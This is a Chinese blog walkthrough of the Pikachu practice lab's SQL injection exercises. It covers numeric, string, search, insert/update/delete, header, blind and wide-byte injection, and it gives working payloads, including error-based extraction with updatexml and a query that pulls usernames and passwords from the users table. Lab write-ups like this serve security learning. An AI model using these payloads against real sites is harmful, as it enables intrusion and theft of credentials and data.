当前位置:Gxlcms > 数据库问题 > Pikachu-SQL注入

Pikachu-SQL注入

时间:2021-07-01 10:21:17 帮助过:56人阅读

直接输入数字就可

技术图片

 

 

正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。

那我们来抓包来测试一下 ,把传入的参数改成 1 or 1=1。

按理说应该取出了数据库中全部数据,才说明存在数字型注入漏洞。我这里不知道怎么错了,疑惑出不来数据库

技术图片

 

 

字符型注入(get):

技术图片

 

 

 因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号

我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload为:kobe‘ or 1=1#

这样我们要查的这个表中全部信息就出来了。

技术图片

 

搜索型注入:

   

xxxx%‘ or 1=1#

 我们输入li%‘ or 1=1#

技术图片

 

 

XX型注入

使用payload xx‘)or 1=1# 可得

技术图片

 

 

insert/update注入

  所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。

1.insert注入

使用updataxml 函数

注入payload

1‘ or updatexml(1,concat(0x7e,database()),0) or‘

技术图片

 

 得到皮卡丘的数据库名字是 pikachu

 

 

这个我还没搞明白,截图以后更~

2 update注入

先登录进去,在修改资料处抓包
Payload和insert注入相同:

1‘ or updatexml(1,concat(0x7e,database()),0) or
同样能得到皮卡丘的数据库名字是 pikachu

 

delete注入:

先进行留言 在删除的时候抓包

由于是get的类型的 在payload记得进行url编码

payload 与之前一样如下:1 or updatexml(1, concat(0x7e,database()), 0)  (要进行URL编码)

技术图片

 

技术图片

 

 

http header注入

  开发人员为了验证客户端头信息(比如cookie验证)使用或者通过http header获取客户端的一些信息等,会对客户端的http header信息进行获取并使用SQL进行处理。

技术图片先登录

 

技术图片

 

   然后抓包,修改user-agent或者cookie完成注入:1‘ or updatexml(1, concat(0x7e,(select (concat_ws(‘-‘,username,password)) from pikachu.users limit 0,1)  ),1) or ‘

技术图片

 

 

 技术图片

 

 

盲注 based on boolean:

  在有些情况下,后台使用了错误屏蔽方法屏蔽了报错,此时无法根据报错信息来进行注入的判断这种情况下的注入,称为“盲注”。

只有加and 1=1#才能返回个人信息,or 1=1#报错

用函数来构造payload

lili‘ and ascii(substr(database(),1,1))=112#

技术图片

 

 

lili‘ and ascii(substr(database(),1,1)>110#

 lili‘ and ascii(substr(database(),1,1)<113#

 112通过多次比较才能试出来

 然后获取表名
test payload:
lili‘  union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu‘#

然后获取字段名

lili‘  union select table_name,column_name from information_schema.columns where table_name=‘users‘#

 

盲注(base on time)

同样的也是挨个试,这次看对错是看这个反应时间,要是可以的话就会五秒多一些。

payload:

lili’ and sleep(5)#

技术图片

 

 

  基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,在皮卡丘平台一,无论输入什么,前端都是显示“I don‘t care who you are!”

宽字节注入:

刚开始尝试发现注入不行,抓包发现以及进行了编码

 在抓包后修改也不行  

 发现‘被后台转移,所以构造payload 1%df‘ or 1=1#

技术图片技术图片

 

 

注入成功!!!

 

 

 

Pikachu-SQL注入

标签:asc   字符   pass   ext   header   字符型   上传   limit   验证   

人气教程排行